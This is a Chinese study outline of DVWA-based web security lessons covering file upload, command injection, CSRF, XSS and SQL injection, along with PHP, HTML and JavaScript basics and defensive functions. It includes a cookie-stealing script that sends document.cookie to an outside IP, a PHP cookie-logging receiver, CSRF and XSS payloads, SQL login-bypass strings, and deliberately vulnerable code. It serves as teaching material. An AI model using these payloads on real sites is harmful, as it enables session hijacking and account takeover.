- 文件上传漏洞
  - 定义以及原因
    - 很多web站点都有文件上传的接口,由于没有对上传的文件类型进行严格 限制,导致攻击者可以上传一些恶意文件(比如webshell)
  - 源码分析
    - <?php
if (isset($_POST['Upload'])) {

$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";//这个变量保存的是上传的位置！！！
$target_path = $target_path . basename($_FILES['uploaded']['name']);//这里的函数相关信息见下面！ $_FILES['uploaded']['name']这里的作用是获取上传之前在客户端原来的名字(可能带有路径)， basename就是只是把名字获得,(获得文件在上传之前叫什么名字,再和原来的路径拼接在一起！这里的.就是拼接符;)

if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {// move_uploaded_file(1,2):将已经上传的文件移动一下;你上传上去的文件有一个临时的路径,把临时存放的位置放于2(就是正式存放的地方);

echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';

} else {

echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';

}
}
?>
  - 漏洞防御
    - 1. $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);这条语句的作用就是从上传的文件名里面截取出扩展名部分(strrpos()函数查找"."在变量$uploaded_name中出现的位置,然后将得到的数值加1,最后利用substr()函数从变量$uploaded_name的指定位置截取部分字符串)
    - if ((($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000))
    - 判断上传文件扩展名是否大写或小写的jpg/jpeg，并且大小大于/小于100K（定义白名单）
- 命令注入
  - 定义以及产生原因
    - 一些网络设备,比如说路由器，交换机等设备;你要对这些设备进行管理的话,都有一个web界面;一般通过web界面传一些命令过去执行;如果没有对用户传过去的命令进行过滤;这样可以把命令做一下构造,比如 你想让服务器执行一个ping命令,可以构造一下,除了执行ping命令之外,再执行非法目的命令(比如说提权,),这就叫命令注入漏洞;
  - 几个比较重要的命令
    - "|":管道符号；前面命令输出作为后面命令的输入
    - "&" :前面命令执行之后接着执行后面的命令
    - "||" :前面命令执行失败的时候才会执行后面的命令
    - "&&" :前面命令执行成功了之后才会执行后面的命令
  - 漏洞防御
    - 1.EscapeShellCmd()函数：（最好记忆！！！）
把字符串里面所有可能瞒过shell而去执行另外一个命令的字符进行转义,如管道符(|),分号(;),重定向(>);从文件读入(<)等;
    - 2.EscapeShellArg()函数：（这个函数也比较重要,最好记忆！！）
在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串就可以安全地作为命令的参数;
- CSRF
  - 定义
    - 1.登录正常网站A
2.通过登录验证,在用户C的本地产生正常网站A的Cookie;
此时再去访问网站B(被黑客控制的);黑客通过这个网站向用户C发出了一个请求,这个请求是 访问网站A(让用户C访问A,用户自己是不知道的,而A则认为这是C的正常请求,比如我要转账,我要消费,它一看会话建立了,身份通过验证了;而且就是从用户C这里发出的，而后就执行操作;)
用户C带着 B网站发出的请求带着A网站的cookie访问A;A就认为这是一个正常的请求;A就根据用户的权限处理由B网站发出的请求;黑客句实现了会话劫持的目的;
    - XSS与CSRF结合其实就是将xss里面的恶意js设置为修改你的登录密码等恶意行为！（这个方法有一个好处：会神不知鬼不觉改你的密码）
  - 调用js链接
    - <script
src = "http://192.168.2.59/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" ></script>//里面的url其实就是一个改过密码的url，这里讲csrf和xss联合起来了！ 将上面这段话提交放于留言板里面
  - CSRF_High_CSRF_Source(主要就是二次验证等手段防御)
    - if (($pass_new == $pass_conf) && ($result && mysql_num_rows($result) == 1)){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);
- 分类:反射型XSS和存储型XSS
  - 定义:攻击者在被攻击的web服务器网页里面嵌入 恶意脚本,通常是用Javascript编写的恶意代码,当用户使用浏览器访问被嵌入的恶意代码的网页的时候,恶意代码将会在用户的浏览器上去执行;
  - 危害:Xss属于针对客户端的攻击,受害者最终是用户;网站管理人员也是用户之一,攻击者可以通过XSS假冒管理员身份对网站实施攻击：1.盗取用户cookie；2：修改网页内容;3.网站挂马;4.利用网站重定向;5XSS蠕虫
  - 一个反射性XSS的例子
    - <?php
$username = $_POST['uname']; //接收数据
echo 你好，".$username." "
?>
    - XSS攻击必须得有用户输入的地方,才可能有跨站漏洞!
在这里输入一段javascript代码,看能不能被执行,可以执行的话就是XSS攻击!
    - 方框里面代码:
<script>alert("hi")</script>
    - 刚才提交的代码直接被带入浏览器执行了！
黑客输入的数据又在浏览器上执行了,这叫跨站!
    - 反射型XSS只是对当前URL有限;(它不持久),很难利用
  - 存储型XSS
    - 把你提交的代码直接提交至数据库里面去了;只要有用户它正好看的页面就从数据库里面把你那些代码调出来;你这些代码就会在页面上执行！ 攻击威力大,访问这个页面的人都有效!
    - if(isset($_POST['btnSign']))
{

$message = trim($_POST['mtxMessage']);//用post方法接收你输入的内容
$name = trim($_POST['txtName']);//接收你输入的名字，这里用trim函数做的处理;trim函数:去掉字符串两边的空格

// Sanitize message input
$message = stripslashes($message);
$message = mysql_real_escape_string($message);//mysql_real_escape_string这个函数实现转义!

// Sanitize name input
$name = mysql_real_escape_string($name);

$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";//将你输入的文件内容插入到数据库里面;

$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>');//执行查询,把内容调出来

}
?>
    - XSS两大功能:
1.盗取cookie;
2.挂马;
    - 如果能够窃取 到管理员的cookie，就能够登录后台！要有能接受cookie的地方,即:我偷到的cookie放哪儿
    - <?php
$cookie = $_GET['cookie'];//以GET方式获取cookie变量值
$ ip = getenv('REMOTE_ADDR');//远程主机的ip(就是说你从哪个地方偷过来的cookie,偷取cookie的网站的ip提取过来)
$time = date('Y-m-d g:i:s');//以年月日 ,时分秒的格式显示
$referer = getenv('HTTP_REFERER');//链接来源,
- php基本语法
  - 变量
    - 变量以$符号作为开头,变量名对大小写敏感
    - 可以之间对变量赋值eg：$a=2;
    - 双引号里面的变量会被解析执行点号(.)用于连接字符串;
eg: echo "$a+$b"."$c"
  - php可以插入在html页面里面
    - 格式:<?php XXXXX ?>
  - 输出Html文本
    - echo "<h1>$a+$b"."$c</h1>"
  - 单引号会原样输出,双引号会解析
  - 函数
    - isset函数判断变量是否存在,存在则返回1否则返回0;
  - 注释
    - //,#单行注释
    - /* */多行注释
  - 接收表单数据
    - <?php
$username = $_POST['username'];//中括号里面的username就是表单里面用于定义用户名的文本框的那个名字,上一讲里面说了,用于输入用户名的文本框,有一个name属性,给它起一个名字,就在这里的中括号里面指定;我要接受名字为username的文本框里面的数据;接受了以后我这里定义了一个变量,然后给其赋值,将什么值赋给它呢,将username那个文本框里面输入的那个值赋给左边这个变量
$password = $_POST['password'];
echo " 用户名:" ."$username ";//这里输出p标记(p标记会以html的语法会被执行的)，而后输出 用户名：，而后用.(点)来连接，右边双引号里面的变量会被解析出来,就是上边左边的变量,而后是输入下面的。
echo " 密码 :"."$password "

?>
    - $_GET,接收通过get方法传递的数据;
$_POST,接收通过post方法传递的数据;
$_REQUEST,接收通过get或者post方法传递的数据
  - <?php
$username = $_REQUEST['username'];
$password = $_REQUEST['password'];
if($username == "admin" and $password == "123")
{
echo "你好,$username";
}
else
{
echo "请输入正确的用户名";
}
  - if语句
    - ?>
<?php
$sum = 0;
for ($i = 1;$i <= 10;$i++){
$sum = $sum + $i;
}
$i = $i -1;
echo "1累加到$i".'的和是$sum"
- html代码基础
  - 标签一般都是成对出现(四个基本的)
    - <html> </html>
    - <head> </head>
    - <title> </title>
    - <body> </body>
  - 分段
    - (两段之间有空行)
  - 换行标签
    -
(它不是成对出现的,换行标签得两行之间没有空行)
  - 原样输出标签
    - <pre> </pre>
  - 注释
    - <!-->
  - 图片
    - <img src="1.jpg" alt="本地图片">
    - <img src="http://blog.51cto.....png" alt="网上图片">
  - 超链接
    - 文字描述
  - 表单
    - 表单用于接收用户输入的数据,再将其发送给服务器,表单包括文本框和按钮;表单有一些子标签 （最常用的是input标签）,每个子标签 又能实现一些功能;
    - <form> <input type="type_name" name ="fieeld_name"> </form>
    - <form action="UserLogin.php" method="post"> 用户名: <input type="text" name ="username"> 密 码: <input="password" name="password"> <input type="submit" name="submit" value="确定"> </form>
    - type—般也就三种类型text,password,submit
    - action属性后面跟一个页面，"UserLogin.php" ，这个页面的作用是接收通过表单传给服务器的数据;
      - (表单作用是接收数据传给服务器),数据传给服务器以后谁来处理这些数据,所以这里定义了一个动态的 php页面,由这个页面来验证用户名和密码是否正确(一般需要用户名和密码的,用户名和密码在服务端那边判断是否正确);
    - method是方法,你要通过什么方法把表单的数据传给服务器,客户端传数据给服务端的方法一般有两种
      - get和post(传输数据量大用post，一般表单用post),一般传给服务器的数据在url显示出来的是get(会有 一个? ,比如? username=...),而post传出的数据是在地址栏里面看不到的(5*)
      - 我们输入的信息都需要传给UserLogin.php这个网页页面去处理(在这个例子里面);UserLogin.php这个网在一上来就要接受通过表单传给它的数据,接受的时候怎么知道那个数据是用户名,密码,那么从name是username文本框传过来的数据就是用户名,从名字是password的文本框传过来的数据就是密码;所以必须给每个文本框起个名字,这样接收方在服务器那儿接受的时候就能区分!
      - 第三行是一个提交的按钮,一点这个按钮,数据就传出去了,这里提交按钮的名字叫submit,名字可以随便起,但是类型的确定的(这里各text，password,submit三种类型)!
      - submit显示出来的文字就是value的值:(value后面是什么,后面按钮上面就显示什么)
    - input标签可以用来实现文本框,也可以实现按钮,是什么类型的需要看后面的type,text类型的是一个文本框,username是给用户名冒号后面的文本框定义的一个名字
  - 浮动框架
    - 可以在一个页面里面显示其他网页的内容!
    - <iframe> src="https://blog....." height=XXX width=XXX</iframe>

php代码审计

xss攻击基础

XSS两大功能以及一个demo

referer是http协议头里面的一部分,可以获得被你偷取cookie的，这个用户它在访问哪个页面的时候这个cookie被你窃取过来;能把页面的URL发过来;
$fp = fopen('cookie.txt','a');//打开cookie.txt，若不存在则创建它(这里将上面的信息写入这个文件，referer就是写入的内容)
fwrite($fp," IP： ".$IP."| Data and Time :".$Time." | Referer:" .$referer." | Cookie： ".$cookie."|||");//写入文件，双引号里面的内容原样输出;可能接受了很多cookie，接受文件的时候都是存放在 一行里面,这里在每一个cookie后面加了三个|，表示结束了
fclose($fp);
?>

怎么偷cookie

```
<script>
document.write('<img src="http://182.168.80.142/getcookie ='+document.cookie+'" width =() heigt = () border=() />')
</script>
```

构造xss语句

```
<?php
$username = $_POST['uname'];
echo '<input type="text" value="' .$username."/>';
?>//xss1里面的php脚本
```

输入：`"/><script>alert('hi')</script>`

```
<?php
$username = $_POST['uname'];
echo '<textarea rows="3" cols="20">'.$username.'</textarea>';//rows表示可以输出的行数,cols表示输出的列数
?>
```

在框里输入：`</textarea> <script>alert('hi')</script>`

用safe3wvs扫出有问题的页面,而后在 url一栏里面输入一段比较有特征的字符;而后查看网页 源代码;ctrl+F:查找： 发现其放在一个标签属性里面!
构造跨站语句，首先考虑闭合问题

XSS的防御

```
<?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
$isempty = true;
} else {
 echo '<pre>';
 echo 'Hello ' . htmlspecialchars($_GET['name']);
 echo '</pre>';
}
?>
```

htmlspecialchars这个函数很重要！它把XSS语句转换成实体了(就是说:把&(和号),"(双引号),'(单引号),<(小于),>(大于),这些符号装换为html实体(23讲))

存储型XSS的分析以及防御

```
service postgresql start
```

使用的一开始步骤:

```
msfdb init
msfconsole
```

MSF的使用 xss跨站点脚本攻击

```
<?php
if(isset($_POST['btnSign']))
{
  $message = trim($_POST['mtxMessage']);
  $name    = trim($_POST['txtName']);
  // Sanitize message input
  $message = stripslashes($message);
  $message = mysql_real_escape_string($message);
  $message = htmlspecialchars($message);//加了htmlspecialchars这个函数
  // Sanitize name input
  $name = stripslashes($name);
  $name = mysql_real_escape_string($name);
  $name = htmlspecialchars($name);//加了htmlspecialchars这个函数
  $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
  $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>');
}
?> //这里是高级难度里面的代码
```

对前端的输入和输出做相关过滤和编码
htmlspecialchars(),strip_tags()，str_replace()

给关键的cookie使用http-only

暴力破解

定义:通过工具软件利用字典文件对用户名和密码挨个进行尝试,最终将用户名或密码破解出来

分类:1.暴力破解远程登录(ssh)(针对服务器的);后面讲(九头蛇等);
2.针对web的暴力破解;
3.二进制层面的暴力破解;

利用burp suite的intruder这个模块

sql注入

防护

```
<?php

if(isset($_GET['Submit'])){

  // Retrieve data

  $id = $_GET['id'];//$_GET:  它是获取 Submmit，就是看你有没有点击提交按钮,如果点击了,这里 获取的就是一个真值,如果点击了,这里就要执行大括号里面的语句,而后通过 GET方法获取在id这个文本框里面输入的值,而后赋值给id变量,在下面一句就是把select语句赋值给了$getid这个变量;

  $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
  $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>');//利用mysql_query执行sql的增删改查语句,而后把执行的结果发送给了result这个变量,"是原样输出,是连接的意思，mysql_error的意思是如果前面一句Mysql_query的执行结果是错误的那么这里就会把错误的信息打印出来;
or之前的语句执行不成功,后面的语句才会执行;mysql_query():
如果是执行查询之类的语句(select)，那么会返回一个资源标识符,也就是我们要查找的 数据结果集;
如果执行的是增删 改之类的语句,返回的 就是true或者false了;

  $num = mysql_numrows($result);//就第一句mysql_numrows而言，你可能查找到符合条件的有好几条记录,一条记录是一行,你通过mysql_numrows这个函数可以查到现在$result这个变量里面到底 有几行数据;

  $i = 0;

  while ($i < $num) {

    $first = mysql_result($result,$i,"first_name");//mysql_result这个是从result这个变量里面取某个字段的值,来取哪一行呢这里用result这个变量里面取某个字段的值,来取哪一行呢,这里用i表示,一开始i = 0,就要取第1行的数据,$first = mysql_result($result,$i,"first_name");这句话取得是first_name这个字段的值,并赋值给firdt变量,下面一句取得还是第一行里面last_name字段的值,
    $last = mysql_result($result,$i,"last_name");

    echo '<pre>';
    echo 'ID:' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
    echo '</pre>';

    $i++;
  }
}
```

mysql_real_escape_string主要对用户输入的数据进行转义,（一般有单引号,双引号,【\】；【null】），一般转义的话就是在这些符号前面加一个【\】符号;举个例子:

$id = mysql_real_escape_string($id);

mysql_query这个函数查询的结果是个结果集!必须通过各种方法获得结果集里面的数据;

$conn = mysql_connect('127.0.0.1','aa','123'),$res = mysql_query（$sql,$conn)

mysql_num_rows这个方法是用来判断这个结果集里面有几行数据;结果不为0,就证明结果集里面有数据,head是一个跳转,通过这个语句，可以把当前网页跳转至另外一个网页上去！（Location指明了你要跳转的那个网页上去!)(15讲)

if(mysql_num_rows($res)!=0) {header("location:success.php")}

stripslashes()函数的作用是删除由addslash()函数添加的 反斜杠,即:去除addslashes()函数添加的反斜杠

$id = stripslashes($id)

使用addslash()函数之后,会自动在'的前面加一个反斜杠；addslash()的作用是自动添加反斜杠;

str_replace(" ' "," " ,username)；这里是把username里面有没有字符',有的话就换成空的字符;(就是把敏感的字符替换掉)

利用is_numeric()函数判断你输入的 是不是 数字，如果输入的不是字符就不会往下执行！（这是对于数字型注入,可以使用if语句,并用is_number()函数作为判断条件进行防御)

if (is_numeric($id))

对于字符型注入,对用于接收用户参数的变量,用mysql_real_escape_string(),assslashes()等函数进行过滤

字符型注入里面最关键的就是单引号,怎么闭合单引号,你把单引号转义了,字符型注入就不存在了;

防注入思路:转义和过滤！！！

过滤一般用str_replace（）函数;转义:一般用addslash()函数;

主要就是看这一句话: select * from users where username = 'any' and 'password' or 1='1'

此时为:假 and 假 or 真,结果为真;

```
' or 1=1 --
' or 1=1 or 1 ='1
' or 1 ='1
```

php选择和循环

for循环 ?>

```
<?php
  $sum = 0;
  $i = 1;
  while($i <= 10){
    $sum =$sum +$i;
    $i++;
  }
  $i = $i -1;
  echo "1累加到$i"."的和是$sum"
```

while循环 ?>

php操作数据库(Mysql)

建立一个表的一般步骤 1.use 数据库名 2.create table 表名

增数据 show tables

insert into hack values(1,'admin','456')

查数据 select * from hack

```
$username = $_POST['username'];//这里是接收数据
$password = $_POST['password'];

$conn = mysql_connect("127.0.0.1","root","123"); //连接Mysql，并把连接的结果赋值给一个变量conn
mysql_select_db("test");//选择打开test这个数据库
mysql_query("set names utf8");//设置字符集

$sql = "select * from hack where username='$username' and password='$password'";//在hack表里面查询符合这两个内容的:1.username='$username',2.password='$password';由于单引号里面的数据是在双引号里面的，所以这里单引号里面的数据会被解析，他们都是文本型数据,到这里只是把查询的语句复制给这个变量，何时调用这个变量,才执行这个语句;这里其实就是把要执行的语句复制给一个变量！！！
$res = mysql_query($sql，$conn);//mysql_query这个函数式专门执行sql语句的,这句话的意思是执行存放于$sql这个变量里面的这个sql语句,并把执行的结果存于$res这个变量，$conn表示在哪个数据库连接里面执行sql语句,$res表示result，右边返回的结果是0行,1行,2行等等,通过mysql_query函数来执行上面这个语句,并把结果赋给左边这个变量``

if (mysql_num_rows($res)!=0){
echo "登录成功";
}else{
echo "登录失败";

}//row:列;如果$res里面存放了不是0行,那么就证明查到结果了,这只是判断方法之一
```

使用php连接数据库 mysql_close($conn);

javascript语言基础

定义:js是在翻浑圆上编写的脚本 语言,对html的功能的扩展

```
<html><head><title>JavaScript Test</title>
</head><body>
<script>document.write("Hello,WOrld");
</script></body></html>
```

js几个语法特点

所有的javascript语句必须包含在<script>...</script>标签中;

每行javascript语句必须以";"表示结束(其实也可以不加,不像php);(html没有必要)

document是一个对象,指的是当前网页,write是其动作

document.write就是让当前的网页执行write动作;将()里面的内容写入到页面当中去;

```
<script>
var hack = "hack";
document.write("<h1>hello,"+name+"</h1>");
</script>
```

php里面是可以直接赋值给变量的；而js里面是不可以的;

输出的内容如果在双引号里面就原样输出;

js里面的+为连接符号;(php里面为.)

//表示单行注释,多行注释为/*.....*/

用js对某个事件作出反应:

针对all元素;当用户点击里类似按钮这样的窗体元素后触发

onClick

```
<body>
<img src=aaa onError="alert('helloworld')">
</body>
```

onError

针对<img>标签;加载图像过程中发生错误时触发

```
<body onLoad ="alert ('hello')">
</body>
```

onLoad

<body><img><object>标签:文档,图像或对象完成加载是发生

onSubmit

<form>标签:用户 提交窗体时触发

加载外部js

如果代码比较多可以单独将其放在一个js文件里面;有利于反复调用!

```
<body >
<script src="/js/test.js">
</script>
```

document 对象的常用属性

document.cookie,显示当前页面的cookie(访问当前页面的cookie)

```
<script>alert(document.cookie);
</script>
```

document.location,显示当前页面的URL

```
<script>alert(document.location);
</script>
```

locatio.href实现页面跳转;当页面整体跳转至另外一个页面上去

```
<script>
alert(document.location);
location.href = "www.51cto.com";
</script>
```

confirm语句 显示确认选择对话框,返回true或者false

```
<script>
  if(confirm("3>2? ")==true)
  { document.write("正确");
  }else {document.write("错误"); }
</script>
```

- 漏洞挖掘
  - sql的密码绕过
    - 密码框里面的注入代码(上面两个在密码框和用户名里面填写都可以实现绕过,第三个只能填写密码框才能实现绕过)
      即：上面两句注入语句不管写在用户名还是密码框里面的时候,它都可以绕过,比如：如果第一句写在username里面的时候,可以实现密码绕过(密码随便写),第一句写在passwd里面的时候，可以实现用户名绕过(用户名随便写);其他依次类推;
  - 1.找到哪些地方是用户输入的数据:然后看一看,它有没有把数据都处理;
    代码里面负责获取用户 数据的变量:$_GET,$_POST,$COOKIE,$_SERVICER
  - 2.负责执行数据库查询操作的函数:mysql_query()
    在操作这个函数之前操作的数据是用户输入的还是本身提供的,如果是用户输入的就要检查一下有没有做处理,主要就是看这个程序里对用户输入 的数据有没有做处理,如果没有处理,直接带入 到数据库里面执行,那么一般就会存在漏洞!